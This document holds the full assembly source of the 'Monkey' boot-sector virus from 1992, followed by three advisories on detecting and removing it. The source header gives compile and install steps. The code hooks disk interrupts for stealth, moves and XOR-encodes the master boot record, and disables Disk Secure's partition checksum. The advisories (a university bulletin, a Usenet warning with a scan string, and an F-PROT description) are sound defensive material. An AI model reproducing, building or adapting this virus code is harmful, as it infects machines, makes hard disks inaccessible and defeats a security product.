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Name Monkey
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;*******************************************************
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;
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; Monkey written at the city of champions
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; - Edmonton - by UACVRS - Jan 1992.
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;
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; Monkey is a full stealth MBR/Boot self-replicating program with
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; no payload but it does not save the HD's partition
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; table in place. When the "infected" computer is booted
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; from a floppy, c: drive will no longer be accessible.
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;
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; To compile: masm monkey (we used MASM 5.0)
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; link monkey
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; exe2bin monkey.exe monkey.co
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; Use NU, or debug to copy monkey.co to the boot
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; sector of a floppy. The diskette will not boot
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; but will install itself on the hard drive.
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;
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; Bug: It will trash any floppies higher than
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; 1.44meg, not deliberately.
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;
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;*******************************************************
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Code Segment
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Assume CS:Code,DS:CODE,ES:CODE
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ORG 00H
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MAIN:
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JMP INITIAL
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; space above 1fh is for floppy format data
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ORG 1FH
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INT_13 EQU THIS BYTE
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PUSH DS
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PUSH SI
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PUSH DI
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PUSH AX
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PUSH CX
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PUSH DX
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CALL SET_HEAD
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CMP AH,02H
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JNZ END_ACTION
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PUSH DX
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SUB AX,AX
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INT 1AH
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TIME EQU $ + 2
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CMP DL,40H
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POP DX
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JNB END_ACTION
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CALL HANDLE_DISK
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END_ACTION:
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POP DX
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POP CX
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POP AX
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POP DI
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PUSH DX
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PUSH CX
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PUSH AX
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CMP CX,03H ; YES, IS SECTOR LESS THAN 3?
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JNB EXIT_2 ; NO, EXIT
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CMP DH,BYTE PTR DS:[SI] ; Right head?
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JNZ EXIT_2 ; NO, EXIT
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CMP AH,02H ; READ ?
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JZ STEALTH ; YES, STEALTH
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CMP AH,03H ; WRITE ?
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JNZ EXIT_2 ; NO, EXIT
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; YES!
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CMP DL,80H ; HARD DRIVE?
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JB EXIT_2 ; NO, EXIT
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SUB AH,AH ; else RESET DISK - make HD light blink
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JMP SHORT EXIT_2 ; EXIT
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STEALTH:
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CALL INT13 ; READ
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JB EXIT_3 ; ERROR?
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CALL COMP_SIG ; MY RELATIVE?
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JZ REDIRECT ; YES, REDIRECT
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CALL COMP_PA ; NO, IS IT PA?
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JZ REDIRECT ; YES, REDIRECT
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EXIT_0:
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CLC ; NO, RESET FLAG
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JMP SHORT EXIT_3 ; EXIT
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REDIRECT:
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CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL
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MOV DH,BYTE PTR DS:[SI+1] ; SET RIGHT HEAD
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POP AX ; RESTORE AX
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CALL INT13 ; RE-READ
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CALL ENCRPT_PBR
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POP CX ; RESTORE CX, DX
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POP DX
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JMP SHORT EXIT_4 ; EXIT
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EXIT_2:
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CALL INT13
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EXIT_3:
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POP DS
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POP DS
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POP DS
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EXIT_4:
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POP SI
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POP DS
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RETF 0002H
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READ_SEC_1:
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MOV AX,0201H ; READ
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INT13 PROC NEAR
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PUSHF
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CALL DWORD PTR CS:INT13_ADDR ;***********
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RET
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INT13 ENDP
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HOOK_ENTRY EQU THIS BYTE
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HOOK:
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INT 12H
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MOV SI,004CH
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PUSH SI
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CMP BYTE PTR CS:HOME_SEC,02H ; I am in sector 2?
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JZ SETUP_SPECIAL
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SETUP_NORMAL:
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CALL SHIFT_NORMAL
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MOV DI,OFFSET INT13_ADDR
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MOV CX,0002H
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CLD
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REPZ MOVSW
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JMP SHORT STORE_SEGMENT
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SETUP_SPECIAL:
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CALL SHIFT_SPECIAL
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STORE_SEGMENT:
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POP SI
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MOV WORD PTR DS:[SI],OFFSET INT_13 ; STORE MY ENTRY POINT
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MOV DS:[SI+2],AX ; STORE MY SEGMENT
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PATCH_OVER:
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PUSH CS
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POP DS
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CALL PATCH ; PATCH OVER
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PUSH ES ; PUSH SEGMENT
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MOV AX,OFFSET JMP_ADDR
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PUSH AX ; PUSH ADDRESS
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STI
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RETF ; FAR JMP
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JMP_ADDR EQU THIS BYTE
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BOOT:
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MOV ES,CX
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MOV BX,SP ; TO 0000:7C00
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PUSH CX ; SAVE JMP SEGMENT
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PUSH BX
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MOV DX,0080H ; HANDLE C:
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CALL SET_HEAD
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CALL HANDLE_DISK
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BOOT_SEC EQU $ + 1
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MOV CL,05H ; FROM SECTOR 3 ????
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BOOT_DISK EQU $ + 1
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MOV DX,0100H ; C:, HEAD 0 ????
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CALL READ_SEC_1 ; INT 13
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CALL ENCRPT_PBR
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RETF
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HANDLE_DISK PROC NEAR
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; *** READ SECTOR 1 ***
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SUB CX,CX
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INC CX
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PUSH CX
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MOV DH,[SI] ; HEAD
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CALL READ_SEC_1 ; INT 13
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JB END_HANDLE_DISK ; ERROR -> END
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; *** COMPARE ***
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CALL COMP_SIG
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JZ E_2 ; SAME -> UPDATE MYSELF
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; *** PA? ***
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CALL COMP_PA ; Is it Pagett's disksec?
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JNZ UPDATE_DISK ; NO
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; *** OK? ***
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INC CX
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CMP WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set
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; to 0 means disksec would not do
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; checksum of partitions - Pagett
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; sucks
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JZ E_2 ; SAME -> UPDATE MYSELF
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MOV WORD PTR ES:[BX+1FAH],00H ; set this to zero
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MOV CL,1H ; write the change back to sector 1
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CALL WRITE_SEC_1 ;
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JB END_HANDLE_DISK
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; *** YES! READ SECTOR 2 ***
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INC CX ; yes,Pagette 's disksecure is on sector 1
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MOV DH,[SI+2] ; My relative is on sector 2 - read sector 2
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CALL READ_SEC_1 ; INT 13
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JB END_HANDLE_DISK ; ERROR -> END
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POP AX
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PUSH CX
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UPDATE_DISK:
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CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL
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CALL ENCRPT_PBR
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INC SI
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CALL WRITE_SEC_1
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DEC SI
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JB END_HANDLE_DISK
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CALL ENCRPT_PBR
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PUSH CX
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CALL PATCH
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POP CX
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PUSH DX
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CMP DL,80H
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JNB E_1
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XOR DL,DL
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E_1:
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MOV WORD PTR ES:[BX+BOOT_DISK],DX
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POP DX
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MOV BYTE PTR ES:[BX+BOOT_SEC],CL
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POP CX
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PUSH CX
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MOV BYTE PTR ES:[BX+OFFSET HOME_SEC],CL
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MOV WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H
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E_2:
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CALL WRITE_SEC_1
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END_HANDLE_DISK:
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POP AX
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RET
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HANDLE_DISK ENDP
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WRITE_SEC_1 PROC NEAR
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MOV DH,[SI]
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WRITE_SEC_2:
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MOV AX,0301H
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CALL INT13
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RET
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WRITE_SEC_1 ENDP
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COMP_SIG PROC NEAR
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CMP ES:[BX+OFFSET PROG_SIG],9219H
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RET
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COMP_SIG ENDP
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COMP_PA PROC NEAR
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CMP WORD PTR ES:[BX+119H],6150H ; PA?
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RET
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COMP_PA ENDP
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HOME_SEC DB 01H
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FLOPPY_HEAD DB 00H,01H,01H
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HARD_HEAD DB 00H,00H,00H
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; 360 720 1.2 1.44
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FLOP_SECT_TABLE DB 02H,05H,09H,0BH
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SAVE_SECT_TABLE DB 03H,05H,0EH,0EH
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CHSEC PROC NEAR
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PUSH DI
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PUSH SI
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MOV AL,ES:[BX+14H]
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MOV CX,0004H
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CHSEC_1:
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MOV SI,CX
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DEC SI
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CMP FLOP_SECT_TABLE[SI],AL
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JZ CHSEC_END_1
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LOOP CHSEC_1
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MOV CL,03H
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JMP SHORT CHSEC_END_2
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CHSEC_END_1:
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MOV CL,SAVE_SECT_TABLE[SI]
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CHSEC_END_2:
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POP SI
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POP DI
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RET
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CHSEC ENDP
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SHIFT_NORMAL PROC NEAR
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; FIND THE SEGMENT TO HIDE
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DEC AX
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MOV DS:[413H],AX
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SHIFT_SPECIAL:
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MOV CL,06H
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SHL AX,CL
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ADD AL,20H
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MOV ES,AX
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RET
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SHIFT_NORMAL ENDP
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PATCH PROC NEAR ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13
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PUSH SI
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MOV DI,BX
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MOV SI,OFFSET INT_13
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ADD DI,SI
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; CLD
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MOV CX,OFFSET PROG_END - OFFSET INT_13
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REPZ MOVSB
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PATCH_JMP:
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MOV DI,BX
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SUB SI,SI
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MOV CL,3H
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REPZ MOVSB
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POP SI
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RET
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PATCH ENDP
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SET_HEAD PROC NEAR
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PUSH CS
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POP DS
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MOV SI,OFFSET FLOPPY_HEAD
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CMP DL,80H
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JB SET_HEAD_EXIT
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MOV SI,OFFSET HARD_HEAD
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SET_HEAD_EXIT:
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RET
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SET_HEAD ENDP
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INITIAL:
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CLI
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SUB BX,BX
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MOV DS,BX
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MOV SS,BX
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MOV SP,7C00H
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JMP HOOK
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NOP
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NOP
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ENCRPT_PBR:
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PUSH DI
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PUSH CX
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PUSH AX
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MOV DI,BX
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MOV CX,200H
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CLD
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ENCRPT_1:
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MOV AL,ES:[DI]
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ENCRPT_CODE EQU $ + 0001H
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XOR AL,2EH
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STOSB
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LOOP ENCRPT_1
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POP AX
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POP CX
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POP DI
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RET
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ORG 01F4H
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;PROG_NAME DB "Monkey"
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PROG_NAME DB 6dh,8fh,8eh,8bh,85h,99h
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ORG 01FAH
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PROG_SIG DB 19H,92H
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PROG_END EQU THIS BYTE
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ORG 01FCH
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INT13_ADDR DB 00H,00H
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ORG 01FEH
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BOOT_SIG DB 55H,0AAH
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PROG_TAIL EQU THIS BYTE
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PROG_LEN EQU OFFSET PROG_END - OFFSET INT_13
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CODE ENDS
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END MAIN
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; from U of A
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NEW COMPUTER VIRUS THREAT Posted: July 9, 1992
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MONKEY VIRUSES ON PCs
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The Monkey viruses are main boot record/boot sector infectors,
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derived from the Empire D virus. Two variants of the Monkey virus
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have been identified. Of particular concern is the fact these
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viruses can infect computers protected by the Disk Secure program,
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while causing no noticeable changes. Symptoms of infection for
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those computers without Disk Secure include memory reduction and
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hard drive partitions which are not accessible when booting up
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with a floppy disk. When the viruses are active on computers
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without Disk Secure, total memory will be reduced by 1,024 bytes.
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Monkey viruses destroy partition table data. If an infected system
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is booted up from a clean boot disk, DOS claims to be unable to
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access the hard drive partitions. A DIR C: command will return the
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message, "Invalid drive specification."
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Detection
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The simplest method of detection involves recognizing a 1K
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decrease in memory. The DOS commands CHKDSK and MEM will return 1K
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less "total conventional memory" than is normal.
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Of the popular virus scanning products, only F-PROT version 2.04A
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finds the Monkey viruses, calling them a "New variant of Stoned."
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It will identify the virus in memory as well. The F-PROT Virstop
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driver does not recognize the Monkey viruses on boot-up.
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Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSEC
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program that will notice the presence of the Monkey viruses. Note
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that Disk Secure itself will not detect the infection: it is
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important that the CHKSEC command be called from the autoexec.bat
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file.
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As well, a special program to find and remove the Monkey viruses,
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called KILLMONK, has been written at the University of Alberta.
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Removal
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To clean a hard disk: If you have previously saved a copy of the
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clean main boot record (MBR), then this can be restored. (Many
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anti-virus products have an automated way of doing this.) If you
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don't have a copy of the original MBR, and don't know what values
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your partition table should have, then the KILLMONK program will
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restore the partition table for you.
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To restore diskettes: Use the KILLMONK program.
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The newest version of F-PROT (version 2.04A) and the KILLMONK
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program, are both available, free of charge, from Computing and
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Network Services. Bring a formatted diskette to the Microcomputer
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Demonstration Centre (MDC), in the basement of the Bookstore, or a
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ready-made diskette can be purchased for $2.00 from the CNS User
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Support Centre at 302 General Services Building. These programs
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can also be downloaded from the MTS account VIR.
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;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences)
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Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC)
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Date: 20 Jul 92 09:10:09 GMT
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Virus Name: MONKEY.1, MONKEY.2 (Empire variants)
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V Status: New
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Discovery: February, 1992
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Symptoms: Memory reduction, hard drive partitions not accessible on
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floppy bootup.
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Origin: Alberta, Canada
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Eff. Length: 512 bytes
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Type Code: BPRtS (Boot and Partition table infector - Resident TOM -
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Stealth)
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Detection: CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONK
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Removal: Cold boot from clean, write-protected floppy, replace MBR
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(hard
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disk) or Boot Sector (floppy).
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General Comments:
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The Monkey viruses are Main Boot Record / Boot Sector infectors,
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derived from the Empire D virus. Two variants of the Monkey virus
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have been identified: their most obvious difference is in the initial
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bytes at offset 0:
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Monkey.1: E9 CD 01 (JMP 02D0)
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Monkey.2: EB 1E 90 (JMP 0020 ; NOP)
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Both variants keep the original sector's data at offset 03h - 1fh. In
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boot sectors, this region contains data required to identify the
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diskette format. This solves the problem noticed with earlier
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variants of Empire, whereby infected 720k diskettes were sometimes
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unreadable.
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The Monkey viruses take 1k from the top of memory. When active, total
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memory will be reduced by 1024 bytes.
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The Monkey viruses use stealth to protect both the MBR and diskette
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boot sectors. When active in memory, Int 13h calls cannot access the
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infected sector of either hard disks or floppies.
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The Monkey viruses are not polimorphic. They do not encode any of the
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virus, as was done by some of the earlier Empire variants. But before
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saving the clean MBR or boot sector to a hiding place, the Monkey
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viruses do encode that sector, using an "XOR 2Eh". This creates a
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problem for any disinfecting program that recover the initial boot
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sector or MBR by copying it from the hiding place.
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When a hard disk is infected, the encoded MBR is put at side 0,
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cylinder 0, sector 3.
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When a floppy diskette is infected, the original boot sector is placed
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in the bottom sector of the root directory. This means directory
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entries will be lost only if the root directory is nearly full -- more
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than 96 entries on double density diskettes, or more than 208 entries
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on high density diskettes. The virus is designed to identify only the
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four most common diskette formats. If the diskette is not of a
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recognized format, the boot sector is put on side 1, sector 3. I have
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no idea what would happen to a 2.88Mb diskette, but I suspect the
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virus would damage the File Allocation Table, causing loss of data.
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The Monkey viruses do not put any messages to the screen at any time,
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but the virus code does contain, encrypted, the string "Monkey",
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followed by bytes 1992h. It may be significant that the chinese Year
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of the Monkey began in February 1992.
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The most remarkable characteristic of the Monkey viruses is that they
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were designed as an attack on Padgett Peterson's "Disk Secure"
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product. When a computer is booted from an infected diskette, the
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virus first checks whether Disk Secure is on the hard disk. If it is,
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the virus puts itself in sector 2, rather than sector 1, and slightly
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modifies Disk Secure, so that Disk Secure will load the virus after
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Disk Secure has checked the system and loaded itself. The monkey
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viruses install themselves and above Disk Secure, in memory, at offset
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200h.
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The Monkey viruses do not save the partition table data in place, so
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if an infected system is booted from a clean boot disk, DOS claims to
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be unable to access the hard drive partitions. A DIR C: command will
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return "Invalid drive specification".
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Detection:
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Of the popular virus scanning products, only F-PROT 2.04 finds the
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Monkey viruses, calling them a "New variant of stoned". It will
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identify the virus in memory as well. The F-PROT Virstop driver does
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not recognise the Monkey viruses, on boot-up.
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Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that will
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notice the presence of the Monkey viruses. Notice that Disk Secure
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itself will not detect the infection: it is important that the CHKSEC
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command be called from the autoexec.bat file.
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The simplest detection still involves recognizing a 1k decrease in
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memory. CHKDSK and MEM will return 1k less "total conventional
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memory" than normal.
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A special program to find and remove the Monkey viruses, called
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KILLMONK, has been written at the University of Alberta. I hope to
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make this available to the anti-virus community shortly.
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Removal:
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The undocumented /MBR option of FDISK does remove the Monkey virus
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from the MBR, provided the computer was booted from a clean floppy,
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but it does not restore the correct partition table values. The
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problem is that the partition table is not in place in sector one: the
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table is encoded, in sector 3.
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To clean a hard disk: If you have previously saved a copy of the clean
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MBR, then this can be restored. (Many anti-virus products have an
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automated way of doing this.) If you don't have a copy of the
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original MBR, and don't know what values your partition table should
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have, then the KILLMONK program may be what you need.
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To restore diskettes: Padgett Peterson's FIXFBR works very well,
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though it doesn't recognize that the disk is infected. Another
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alternative is the KILLMONK program.
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Scan String:
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The following hexidecimal string is in both variants of Monkey. It is
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from the code the virus uses to recognize itself.
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26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61
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Tim
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; From F-PROT
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Name: Monkey
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Type: Boot MBR Stealth
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The Monkey virus was first discovered in Edmonton, Canada, in the
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year 1991. The virus spread quickly to USA, Australia and UK.
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Monkey is one of the most common boot sector viruses.
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As the name indicates, Monkey is a distant relative of Stoned.
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Its technical properties make it quite a remarkable virus,
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however. The virus infects the Master Boot Records of hard disks
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and the DOS boot records of diskettes, just like Stoned. Monkey
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spreads only through diskettes.
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Monkey does not let the original partition table remain in its
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proper place in the Master Boot Record, as Stoned does. Instead
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it moves the whole Master Boot Record to the hard disk's third
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sector, and replaces it with its own code. The hard disk is
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inaccesible after a diskette boot, since the operating system
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cannot find valid partition data in the Master Boot Record -
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attempts to use the hard disk result in the DOS error message
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"Invalid drive specification".
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When the computer is booted from the hard disk, the virus is
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executed first, and the hard disk can thereafter be used
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normally. The virus is not, therefore, easily noticeable, unless
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the computer is booted from a diskette.
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The fact that Monkey encrypts the Master Boot Record besides
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relocating it on the disk makes the virus still more difficult to
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remove. The changes to the Master Boot Record cannot be detected
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while the virus is active, since it rerouts the BIOS-level disk
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calls through its own code. Upon inspection, the hard disk seems
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to be in its original shape.
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The relocation and encryption of the partition table render two
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often-used disinfection procedures unviable. One of these is the
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MS-DOS command FDISK /MBR, capable of removing most viruses that
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infect Master Boot Records. The other is using a disk editor to
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restore the Master Boot Record back on the zero track. Although
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both of these procedures destroy the actual virus code, the
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computer cannot be booted from the hard disk afterwards.
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There are five different ways to remove the Monkey
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virus:
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o The original Master Boot Record and partition table can
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be restored from a backup taken before the infection.
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Such a backup can be made by using, for example, the
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MIRROR /PARTN command of MS-DOS 5.
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o The hard disk can be repartitioned by using the FDISK
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program, after which the logical disks must be formatted.
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All data on the hard disk will consequently be lost,
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however.
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o The virus code can be overwritten by using FDISK/MBR, and
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the partition table restored manually. In this case, the
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partition values of the hard disk must be calculated and
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inserted in the partition table with the help of a disk
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editor. The method requires expert knowledge of the disk
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structure, and its success is doubtful.
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o It is possible to exploit Monkey's stealth capabilities
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by taking a copy of the zero track while the virus is
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active. Since the virus hides the changes it has made,
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this copy will actually contain the original Master Boot
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Record. This method is not recommendable, because the
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diskettes used in the copying may well get infected.
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o The original zero track can be located, decrypted and
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moved back to its proper place. As a result, the hard
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disk is restored to its exact original state. F-PROT uses
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this method to disinfect the Monkey virus.
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It is difficult to spot the virus, since it does not activate in
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any way. A one-kilobyte reduction in DOS memory is the only
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obvious sign of its presence. The memory can be checked with, for
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instance, DOS's CHKDSK and MEM programs. However, even if MEM
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reports that the computer has 639 kilobytes of basic memory
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instead of the more common 640 kilobytes, it does not necessarily
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mean that the computer is infected. In many computers, the BIOS
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allocates one kilobyte of basic memory for its own use.
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The Monkey virus is quite compatible with different diskette
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types. It carries a table containing data for the most common
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diskettes. Using this table, the virus is able to move a
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diskette's original boot record and a part of its own code to a
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safe area on the diskette. Monkey does not recognize 2.88
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megabyte ED diskettes, however, and partly overwrites their File
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Allocation Tables.
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